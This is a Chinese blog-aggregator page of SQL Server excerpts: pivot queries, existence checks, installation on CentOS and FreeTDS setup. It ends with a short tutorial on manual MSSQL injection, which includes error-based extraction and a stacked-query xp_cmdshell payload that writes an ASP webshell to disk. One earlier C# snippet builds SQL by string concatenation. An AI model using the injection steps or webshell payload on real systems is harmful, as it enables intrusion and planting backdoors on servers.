mssql

MSSQL行车列规则

一世执手 提交于 2019-12-05 06:45:08
行转列,是SQL中经常会遇到的一个问题,并且分为静态转换和动态转换,所谓静态转换即在转换的行数已知或固定;动态转换则为转换的行数不固定。 转换的方法一般采用case when语句或pivot(MSSQL 2005及以上版本)来实现。 首先来看静态转换:先准备一下测试数据,使用如下SQL语句直接生成: If Exists (Select * From sysobjects Where id = OBJECT_ID('Sales') and OBJECTPROPERTY(id, 'IsUserTable') = 1) Begin Drop Table Sales End Create Table Sales( Name nvarchar(10), Product nvarchar(12), Quantity int) Insert Into Sales(Name,Product,Quantity) Values('Leo','Apple',300), ('Leo','Orange',23), ('Amy','Apple',432), ('Amy','Banana',45), ('Leo','Banana',74), ('Tomy','Apple',57), ('Tomy','Orange',92), ('Tim','Apple',76), ('Tim','Banana',45), (

判断数据库、表和字段是否存在

心不动则不痛 提交于 2019-12-05 04:13:51
1)、判断数据库是否已存在 SQL Server中sysdatabases中包含了所有的数据库的项信息。初始时只包含 master、model、msdb、mssqlweb 和 tempdb 数据库的项。该表只存储在 master 数据库中。 通过sysdatabase,我们即可以获取一个数据库是否已存在: public static bool IsExisted(string strDBSource_, string strUserName_, string strUserPwd_, string strDBName_) { bool bExist = false; try { using (SqlConnection conMaster = Connect(strDBSource_, strUserName_, strUserPwd_, "Master")) // 根据参数连接数据库,不成功则抛出异常 { // Check if the Database has existed first string strExist = @"select count(*) from dbo.sysdatabases where name='" + strDBName_ + @"'"; SqlCommand cmdExist = new SqlCommand(strExist,

Linux(CentOS)安装SQL Server

≡放荡痞女 提交于 2019-12-04 23:27:31
1.下载Microsoft SQL Server Red Hat 存储库配置文件 curl -o /etc/yum.repos.d/mssql-server.repo https://packages.microsoft.com/config/rhel/7/mssql-server-2017.repo 2.安装SQL Server yum install -y mssql-server 3.软件包安装完成后,运行mssql conf 安装命令 /opt/mssql/bin/mssql-conf setup [root@localhost ~]# /opt/mssql/bin/mssql-conf setup 选择 SQL Server 的一个版本: 1) Evaluation (免费,无生产许可,180 天限制) 2) Developer (免费,无生产许可) 3) Express (免费) 4) Web (付费版) 5) Standard (付费版) 6) Enterprise (付费版) 7) Enterprise Core (付费版) 8) 我通过零售渠道购买了许可证并具有要输入的产品密钥。 可在以下位置找到有关版本的详细信息: https://go.microsoft.com/fwlink/?LinkId=852748&clcid=0x804

SQlServer使用SQl语句创建数据库

纵饮孤独 提交于 2019-12-03 22:40:25
SQlServer使用SQl语句创建数据库 原文连接:https://www.cnblogs.com/yuesebote/p/10717920.html 1.创建数据库SQL语句 use master go if exists(select * from sysdatabases where name='CommonPermission') begin select '该数据库已存在' drop database CommonPermission --如果该数据库已经存在,那么就删除它 end else begin create database CommonPermission on primary --表示属于 primary 文件组 ( name='cpDB_data', -- 主数据文件的逻辑名称 filename='C:\Program Files\Microsoft SQL Server\MSSQL11.MSSQL\MSSQL\DATA\cpDB_data.mdf', -- 主数据文件的物理名称 size=5mb, --主数据文件的初始大小 maxsize=100mb, -- 主数据文件增长的最大值 filegrowth=15% --主数据文件的增长率 ) log on ( name='cpDB_log', -- 日志文件的逻辑名称 filename='C:

CentOS下安装FreeTDS

随声附和 提交于 2019-12-03 14:03:01
导读 官方网站:http://www.freetds.org 下载地址:http://ibiblio.org/pub/Linux/ALPHA/freetds/stable/freetds-stable.tgz 这个软件能够用Linux和Unix连接MS SQLServer和Sybase数据库 安装与配置 首先下载FreeTDS安装包到服务器 wget -c http://ibiblio.org/pub/Linux/ALPHA/freetds/stable/freetds-stable.tgz 解压 tar -zxvf freetds-stable.tgz 编译安装 因为是编译安装所以确保机器有安装gcc(可使用yum进行安装) yum install gcc-c++ yum install ncurses-devel 开始安装 cd freetds-0.91/ ./configure --prefix=/usr/local/freetds --with-tdsver=8.0 --enable-msdblib make && makeinstall 解释: 安装freetds到目录/usr/local/freetds:--prefix=/usr/local/freetds 支持MSSQL2000:--with-tdsver=8.0 --enable-msdblib

Why can I connect to Azure MS SQL with tsql but not pymssql?

匿名 (未验证) 提交于 2019-12-03 09:05:37
可以将文章内容翻译成中文,广告屏蔽插件可能会导致该功能失效(如失效,请关闭广告屏蔽插件后再试): 问题: Where I am today: TDSVER=7.3 tsql -H example.database.windows.net -U me -D ExampleDB -p 1433 -P notreallymypassword This does not: >>> import pymssql >>> pymssql.connect('example.database.windows.net', user='me', password='notreallymypassword', database='ExampleDB', tds_version='7.3') It fails with Traceback (most recent call last): File "<stdin>", line 1, in <module> File "pymssql.pyx", line 635, in pymssql.connect (pymssql.c:10734) File "_mssql.pyx", line 1902, in _mssql.connect (_mssql.c:21821) File "_mssql.pyx", line 577, in _mssql

Error: Global connection already exists. Call sql.close() first

匿名 (未验证) 提交于 2019-12-03 08:44:33
可以将文章内容翻译成中文,广告屏蔽插件可能会导致该功能失效(如失效,请关闭广告屏蔽插件后再试): 问题: Hi I am creating node js restful api by using sqlserver database , i prepare get api when i am using that api output is shown in json format, while refreshing that browser gain its shows "Error: Global connection already exists. Call sql.close() first."error . I am adding code var express = require("express"); var sql = require("mssql"); var app = express(); //Initiallising connection string var dbConfig = { user: 'sa', password: 'India123', server: 'localhost', database: 'sample' }; app.get('/login', function (req, res) { // connect to your

Error installing pymssql on Mac OS X Lion

匿名 (未验证) 提交于 2019-12-03 02:53:02
可以将文章内容翻译成中文,广告屏蔽插件可能会导致该功能失效(如失效,请关闭广告屏蔽插件后再试): 问题: I have XCode installed and also FreeTDS. I tried to connect to my SQL Server and it works perfect. ==> sudo python setup.py install running install running bdist_egg running egg_info writing pymssql.egg-info/PKG-INFO writing top-level names to pymssql.egg-info/top_level.txt writing dependency_links to pymssql.egg-info/dependency_links.txt reading manifest file 'pymssql.egg-info/SOURCES.txt' reading manifest template 'MANIFEST.in' writing manifest file 'pymssql.egg-info/SOURCES.txt' installing library code to build/bdist.macosx-10.7-intel/egg

mssql手工注入

我与影子孤独终老i 提交于 2019-12-03 01:24:20
mssql注入是针对于sql server数据库的 sql server数据库和mysql数据库是有所区别的,语句命令之类的可自行百度。 平台: i 春秋 内容: mssql手工 注入 测试网站: www.test.com 找注入点 点击 test 用数据类型转换爆错法 查看版本 原因:@@version是mssql 的全局变量,如果我们把它写成这样 and @@version, 那个后面的mssql就会强行把@@version 强行转换成数字,但是失败,所以就会将数据库信息暴露出来 爆当前数据库名 爆表名 爆列名 爆字段内容 Mssql 基本注入成功 如果数据的权限是dba,且知道网站路径的话,那么我们就可以用这个语句来写一句话小马进去: id=1;exec master..xp_cmdshell 'echo "<%@ LANGUAGE=VBSCRIPT %>;<%eval request(chr(35))%>''" > d:\KfSite\kaifeng\2.asp'-- 原理是sql server 支持堆叠查询,利用xp_cmdshell 可以执行cmd指令,cmd指令中用【echo 内容 > 文件】 可以写文件到磁盘里面 来源: https://www.cnblogs.com/shayanboy/p/11769131.html